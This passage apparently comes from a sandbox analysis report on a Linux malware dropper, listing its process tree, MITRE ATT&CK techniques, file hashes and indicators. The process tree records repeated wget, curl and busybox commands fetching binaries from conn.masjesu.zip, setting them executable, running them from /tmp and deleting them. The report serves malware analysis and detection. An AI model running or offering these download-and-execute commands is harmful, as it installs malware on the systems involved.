  /bin/busybox wget http://conn.masjesu.zip/bins/gmDndY0EE0l9xfnOiCb5fsWXVGppYMLGkO
  2⤵
  PID:953
- /bin/chmod
  chmod 777 gmDndY0EE0l9xfnOiCb5fsWXVGppYMLGkO
  2⤵
  - File and Directory Permissions Modification
  PID:954
- /tmp/gmDndY0EE0l9xfnOiCb5fsWXVGppYMLGkO
  ./gmDndY0EE0l9xfnOiCb5fsWXVGppYMLGkO
  2⤵
  - Executes dropped EXE
  PID:955
- /bin/rm
  rm gmDndY0EE0l9xfnOiCb5fsWXVGppYMLGkO
  2⤵
  PID:956
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/J5Bx5B4C0081MbLO9Bn34rpSNek5AdqEyV
  2⤵
  - System Network Configuration Discovery
  PID:957
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/J5Bx5B4C0081MbLO9Bn34rpSNek5AdqEyV
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:958
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/J5Bx5B4C0081MbLO9Bn34rpSNek5AdqEyV
  2⤵
  - System Network Configuration Discovery
  PID:960
- /bin/chmod
  chmod 777 J5Bx5B4C0081MbLO9Bn34rpSNek5AdqEyV
  2⤵
  - File and Directory Permissions Modification
  PID:961
- /tmp/J5Bx5B4C0081MbLO9Bn34rpSNek5AdqEyV
  ./J5Bx5B4C0081MbLO9Bn34rpSNek5AdqEyV
  2⤵
  - Executes dropped EXE
  PID:962
- /bin/rm
  rm J5Bx5B4C0081MbLO9Bn34rpSNek5AdqEyV
  2⤵
  PID:963
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/s8HUkKxDvVvVfPJZKYrJDxaqkLZy2D6uBz
  2⤵
  - System Network Configuration Discovery
  PID:964
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/s8HUkKxDvVvVfPJZKYrJDxaqkLZy2D6uBz
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:965
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/s8HUkKxDvVvVfPJZKYrJDxaqkLZy2D6uBz
  2⤵
  - System Network Configuration Discovery
  PID:967
- /bin/chmod
  chmod 777 s8HUkKxDvVvVfPJZKYrJDxaqkLZy2D6uBz
  2⤵
  - File and Directory Permissions Modification
  PID:968
- /tmp/s8HUkKxDvVvVfPJZKYrJDxaqkLZy2D6uBz
  ./s8HUkKxDvVvVfPJZKYrJDxaqkLZy2D6uBz
  2⤵
  - Executes dropped EXE
  PID:969
- /bin/rm
  rm s8HUkKxDvVvVfPJZKYrJDxaqkLZy2D6uBz
  2⤵
  PID:970
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/WIEnf9ThJ7HvqS6m0WzD8uqm2MkX0dM29e
  2⤵
  - System Network Configuration Discovery
  PID:971
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/WIEnf9ThJ7HvqS6m0WzD8uqm2MkX0dM29e
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:972
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/WIEnf9ThJ7HvqS6m0WzD8uqm2MkX0dM29e
  2⤵
  - System Network Configuration Discovery
  PID:974
- /bin/chmod
  chmod 777 WIEnf9ThJ7HvqS6m0WzD8uqm2MkX0dM29e
  2⤵
  - File and Directory Permissions Modification
  PID:975
- /tmp/WIEnf9ThJ7HvqS6m0WzD8uqm2MkX0dM29e
  ./WIEnf9ThJ7HvqS6m0WzD8uqm2MkX0dM29e
  2⤵
  - Executes dropped EXE
  PID:976
- /bin/rm
  rm WIEnf9ThJ7HvqS6m0WzD8uqm2MkX0dM29e
  2⤵
  PID:977
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/PNxPbAH2xD7FCRt7R0mTK1LPE5spCtlVVQ
  2⤵
  PID:978
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/PNxPbAH2xD7FCRt7R0mTK1LPE5spCtlVVQ
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:979
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/PNxPbAH2xD7FCRt7R0mTK1LPE5spCtlVVQ
  2⤵
  - System Network Configuration Discovery
  PID:981
- /bin/chmod
  chmod 777 PNxPbAH2xD7FCRt7R0mTK1LPE5spCtlVVQ
  2⤵
  - File and Directory Permissions Modification
  PID:982
- /tmp/PNxPbAH2xD7FCRt7R0mTK1LPE5spCtlVVQ
  ./PNxPbAH2xD7FCRt7R0mTK1LPE5spCtlVVQ
  2⤵
  - Executes dropped EXE
  PID:983
- /bin/rm
  rm PNxPbAH2xD7FCRt7R0mTK1LPE5spCtlVVQ
  2⤵
  PID:984
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/Y2G2yNcue0IGV6qlFxRkszQyH0Th8PxQpH
  2⤵
  - System Network Configuration Discovery
  PID:985
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/Y2G2yNcue0IGV6qlFxRkszQyH0Th8PxQpH
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:986
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/Y2G2yNcue0IGV6qlFxRkszQyH0Th8PxQpH
  2⤵
  - System Network Configuration Discovery
  PID:988
- /bin/chmod
  chmod 777 Y2G2yNcue0IGV6qlFxRkszQyH0Th8PxQpH
  2⤵
  - File and Directory Permissions Modification
  PID:989
- /tmp/Y2G2yNcue0IGV6qlFxRkszQyH0Th8PxQpH
  ./Y2G2yNcue0IGV6qlFxRkszQyH0Th8PxQpH
  2⤵
  - Executes dropped EXE
  PID:990
- /bin/rm
  rm Y2G2yNcue0IGV6qlFxRkszQyH0Th8PxQpH
  2⤵
  PID:991
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/KSZ5DaCJzeRw3UJvADJDYCrrg3JwQckhsz
  2⤵
  - System Network Configuration Discovery
  PID:992
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/KSZ5DaCJzeRw3UJvADJDYCrrg3JwQckhsz
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:993
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/KSZ5DaCJzeRw3UJvADJDYCrrg3JwQckhsz
  2⤵
  PID:995
- /bin/chmod
  chmod 777 KSZ5DaCJzeRw3UJvADJDYCrrg3JwQckhsz
  2⤵
  - File and Directory Permissions Modification
  PID:996
- /tmp/KSZ5DaCJzeRw3UJvADJDYCrrg3JwQckhsz
  ./KSZ5DaCJzeRw3UJvADJDYCrrg3JwQckhsz
  2⤵
  - Executes dropped EXE
  PID:997
- /bin/rm
  rm KSZ5DaCJzeRw3UJvADJDYCrrg3JwQckhsz
  2⤵
  PID:998

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

J5Bx5B4C0081MbLO9Bn34rpSNek5AdqEyV

Path /tmp/J5Bx5B4C0081MbLO9Bn34rpSNek5AdqEyV
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

ioc	pid	Process
/tmp/J5Bx5B4C0081MbLO9Bn34rpSNek5AdqEyV	730	J5Bx5B4C0081MbLO9Bn34rpSNek5AdqEyV
/tmp/s8HUkKxDvVvVfPJZKYrJDxaqkLZy2D6uBz	737	s8HUkKxDvVvVfPJZKYrJDxaqkLZy2D6uBz
/tmp/WIEnf9ThJ7HvqS6m0WzD8uqm2MkX0dM29e	750	WIEnf9ThJ7HvqS6m0WzD8uqm2MkX0dM29e
/tmp/PNxPbAH2xD7FCRt7R0mTK1LPE5spCtlVVQ	782	PNxPbAH2xD7FCRt7R0mTK1LPE5spCtlVVQ
/tmp/Y2G2yNcue0IGV6qlFxRkszQyH0Th8PxQpH	803	Y2G2yNcue0IGV6qlFxRkszQyH0Th8PxQpH
/tmp/KSZ5DaCJzeRw3UJvADJDYCrrg3JwQckhsz	810	KSZ5DaCJzeRw3UJvADJDYCrrg3JwQckhsz
/tmp/2jc5tjvYuJY91ey19ywQAgKkIwK0qCwIrz	817	2jc5tjvYuJY91ey19ywQAgKkIwK0qCwIrz
/tmp/vzNfV8lOGCk7oxfAoPih0zDN9bkZS66tvW	852	vzNfV8lOGCk7oxfAoPih0zDN9bkZS66tvW
/tmp/PXvbEcL0QLLJQI6MRUiJoYkKg5eYQYN7D4	864	PXvbEcL0QLLJQI6MRUiJoYkKg5eYQYN7D4
/tmp/RGFNvKVw9nK4v3D5YGjW2morl4gvHC8F8c	871	RGFNvKVw9nK4v3D5YGjW2morl4gvHC8F8c
/tmp/eHgNEZ0Ybn1Nuv71mO4XKLUk8QYXLllNZn	878	eHgNEZ0Ybn1Nuv71mO4XKLUk8QYXLllNZn
/tmp/M3Ct9ZHKj1xxEYUucapUTVFNn0aWAAlDcg	885	M3Ct9ZHKj1xxEYUucapUTVFNn0aWAAlDcg
/tmp/g36WnSxYxwPZ54WKP2LTcMmx5UN5fYtETf	892	g36WnSxYxwPZ54WKP2LTcMmx5UN5fYtETf
/tmp/gmDndY0EE0l9xfnOiCb5fsWXVGppYMLGkO	899	gmDndY0EE0l9xfnOiCb5fsWXVGppYMLGkO
/tmp/2jc5tjvYuJY91ey19ywQAgKkIwK0qCwIrz	906	2jc5tjvYuJY91ey19ywQAgKkIwK0qCwIrz
/tmp/vzNfV8lOGCk7oxfAoPih0zDN9bkZS66tvW	913	vzNfV8lOGCk7oxfAoPih0zDN9bkZS66tvW
/tmp/PXvbEcL0QLLJQI6MRUiJoYkKg5eYQYN7D4	920	PXvbEcL0QLLJQI6MRUiJoYkKg5eYQYN7D4
/tmp/RGFNvKVw9nK4v3D5YGjW2morl4gvHC8F8c	927	RGFNvKVw9nK4v3D5YGjW2morl4gvHC8F8c
/tmp/eHgNEZ0Ybn1Nuv71mO4XKLUk8QYXLllNZn	934	eHgNEZ0Ybn1Nuv71mO4XKLUk8QYXLllNZn
/tmp/M3Ct9ZHKj1xxEYUucapUTVFNn0aWAAlDcg	941	M3Ct9ZHKj1xxEYUucapUTVFNn0aWAAlDcg
/tmp/g36WnSxYxwPZ54WKP2LTcMmx5UN5fYtETf	948	g36WnSxYxwPZ54WKP2LTcMmx5UN5fYtETf
/tmp/gmDndY0EE0l9xfnOiCb5fsWXVGppYMLGkO	955	gmDndY0EE0l9xfnOiCb5fsWXVGppYMLGkO
/tmp/J5Bx5B4C0081MbLO9Bn34rpSNek5AdqEyV	962	J5Bx5B4C0081MbLO9Bn34rpSNek5AdqEyV
/tmp/s8HUkKxDvVvVfPJZKYrJDxaqkLZy2D6uBz	969	s8HUkKxDvVvVfPJZKYrJDxaqkLZy2D6uBz
/tmp/WIEnf9ThJ7HvqS6m0WzD8uqm2MkX0dM29e	976	WIEnf9ThJ7HvqS6m0WzD8uqm2MkX0dM29e
/tmp/PNxPbAH2xD7FCRt7R0mTK1LPE5spCtlVVQ	983	PNxPbAH2xD7FCRt7R0mTK1LPE5spCtlVVQ
/tmp/Y2G2yNcue0IGV6qlFxRkszQyH0Th8PxQpH	990	Y2G2yNcue0IGV6qlFxRkszQyH0Th8PxQpH
/tmp/KSZ5DaCJzeRw3UJvADJDYCrrg3JwQckhsz	997	KSZ5DaCJzeRw3UJvADJDYCrrg3JwQckhsz